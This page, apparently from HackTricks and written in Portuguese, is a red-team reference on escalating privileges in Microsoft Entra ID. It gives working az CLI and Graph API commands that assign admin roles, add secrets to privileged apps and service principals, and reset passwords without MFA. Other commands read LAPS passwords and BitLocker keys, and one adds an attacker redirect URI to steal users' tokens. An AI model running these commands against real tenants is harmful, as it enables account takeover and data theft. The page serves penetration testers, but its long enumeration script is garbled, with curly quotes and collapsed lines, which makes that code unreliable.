Az - EntraID Privesc

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

Note

Observe que nem todas as permissĂ”es granulares que os built-in roles tĂȘm no Entra ID sĂŁo elegĂ­veis para serem usadas em custom roles.

Roles

Role: Privileged Role Administrator

Esta role contém as permissÔes granulares necessårias para poder atribuir roles a principals e para conceder mais permissÔes às roles. Ambas as açÔes podem ser abusadas para escalar privilégios.

  • Atribuir role a um user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Adicionar mais permissĂ”es a um role:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Applications

microsoft.directory/applications/credentials/update

Isso permite que um atacante adicione credenciais (senhas ou certificados) a aplicaçÔes existentes. Se a aplicação tiver permissÔes privilegiadas, o atacante pode autenticar-se como essa aplicação e obter esses privilégios.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Isso permite as mesmas açÔes que applications/credentials/update, mas limitado a aplicaçÔes de diretĂłrio Ășnico.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Ao adicionar a si mesmo como owner, um atacante pode manipular a aplicação, incluindo credenciais e permissÔes.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Um atacante pode adicionar uma redirect URI a aplicaçÔes que estão sendo usadas por usuårios do tenant e então compartilhar com eles login URLs que usam a nova redirect URL para roubar seus tokens. Note que, se o usuårio jå estava autenticado na aplicação, a autenticação serå automåtica sem o usuårio precisar aceitar nada.

Note também que também é possível alterar as permissÔes que a aplicação solicita para obter mais permissÔes, mas, nesse caso, o usuårio precisarå aceitar novamente o prompt pedindo todas as permissÔes.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Applications Privilege Escalation

As explained in this post it was very common to find default applications that have API permissions of type Application assigned to them. An API Permission (as called in the Entra ID console) of type Application means that the application can access the API and perform actions without a user context (without a user login into the app), and without needing Entra ID roles to allow it. Therefore, it’s very common to find high privileged applications in every Entra ID tenant.

Then, if an attacker has any permission/role that allows to update the credentials (secret o certificate) of the application, the attacker can generate a new credential and then use it to authenticate as the application, gaining all the permissions that the application has.

Note that the mentioned blog shares some API permissions of common Microsoft default applications however some time after this report Microsoft fixed this issue and now it’s not possible to login as Microsoft applications anymore. However, it’s still possible to find custom applications with high privileges that could be abused.

How to enumerate the API permissions of an application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Encontre todas as permissÔes de API das aplicaçÔes e marque as APIs de propriedade da Microsoft ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Isso permite que um atacante adicione credenciais a service principals existentes. Se o service principal tiver privilégios elevados, o atacante pode assumir esses privilégios.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

A nova senha gerada nĂŁo aparecerĂĄ no console web, entĂŁo isso pode ser uma forma stealth de manter persistence em um service principal.
Na API, elas podem ser encontradas com: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Se vocĂȘ receber o erro "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." Ă© porque nĂŁo Ă© possĂ­vel modificar a propriedade passwordCredentials do SP e primeiro vocĂȘ precisa desbloqueĂĄ-la. Para isso, vocĂȘ precisa de uma permission (microsoft.directory/applications/allProperties/update) que permite executar:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Isso permite que um atacante adicione credenciais a service principals existentes. Se o service principal tiver privilégios elevados, o atacante pode assumir esses privilégios.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Assim como em applications, essa permissĂŁo permite adicionar mais owners a um service principal. Ser owner de um service principal permite controlar suas credentials e permissions.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Depois de adicionar um novo owner, tentei removĂȘ-lo, mas a API respondeu que o mĂ©todo DELETE nĂŁo era suportado, mesmo sendo o mĂ©todo que vocĂȘ precisa usar para deletar o owner. EntĂŁo, vocĂȘ nĂŁo pode remover owners atualmente.

microsoft.directory/servicePrincipals/disable and enable

These permissions permitem desabilitar e habilitar service principals. Um atacante poderia usar essa permission para habilitar um service principal ao qual ele conseguisse acessar de alguma forma para escalar privilégios.

Observe que, para essa technique, o atacante vai precisar de mais permissions para tomar controle do service principal habilitado.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Essas permissÔes permitem criar e obter credenciais para single sign-on, o que pode permitir acesso a aplicaçÔes de terceiros.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Grupos

microsoft.directory/groups/allProperties/update

Esta permissão permite adicionar usuårios a grupos privilegiados, levando à escalada de privilégios.

az ad group member add --group <GroupName> --member-id <UserId>

Nota: Esta permissão exclui grupos atribuíveis a funçÔes do Entra ID.

microsoft.directory/groups/owners/update

Esta permissão permite tornar-se proprietårio de grupos. Um proprietårio de um grupo pode controlar a membresia e as configuraçÔes do grupo, potencialmente escalando privilégios para o grupo.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Nota: Esta permissão exclui grupos atribuíveis a funçÔes do Entra ID.

microsoft.directory/groups/members/update

Esta permissĂŁo permite adicionar membros a um grupo. Um atacante poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Esta permissão permite atualizar a regra de associação em um grupo dinùmico. Um atacante poderia modificar regras dinùmicas para incluir a si mesmo em grupos privilegiados sem adição explícita.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Note: Esta permissão exclui grupos atribuíveis a funçÔes do Entra ID.

Dynamic Groups Privesc

Pode ser possível que usuårios escalem privilégios modificando suas próprias propriedades para serem adicionados como membros de dynamic groups. Para mais informaçÔes, verifique:

Az - Dynamic Groups Privesc

Users

microsoft.directory/users/password/update

Essa permissão permite redefinir a senha de usuårios que não são admin, permitindo que um possível atacante escale privilégios para outros usuårios. Essa permissão não pode ser atribuída a custom roles.

# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"

# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"

microsoft.directory/users/basic/update

Este privilĂ©gio permite modificar propriedades do usuĂĄrio. É comum encontrar grupos dinĂąmicos que adicionam usuĂĄrios com base em valores de propriedades, portanto, essa permissĂŁo poderia permitir que um usuĂĄrio definisse o valor da propriedade necessĂĄria para ser membro de um grupo dinĂąmico especĂ­fico e escalar privilĂ©gios.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

PolĂ­ticas de Acesso Condicional & bypass de MFA

PolĂ­ticas de acesso condicional mal configuradas que exigem MFA podem ser contornadas, verifique:

Az - Conditional Access Policies & MFA Bypass

Dispositivos

microsoft.directory/devices/registeredOwners/update

Esta permissão permite que atacantes se atribuam como owners de devices para obter controle ou acesso a configuraçÔes e dados específicos do device.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Essa permissão permite que atacantes associem sua conta a devices para obter acesso ou contornar políticas de segurança.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Esta permissĂŁo permite que atacantes leiam as propriedades das credenciais de conta de administrador local com backup para dispositivos Microsoft Entra joined, incluindo a senha

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Esta permissĂŁo permite acessar chaves BitLocker, o que pode permitir que um atacante decripte unidades, comprometendo a confidencialidade dos dados.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Outras permissÔes interessantes (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks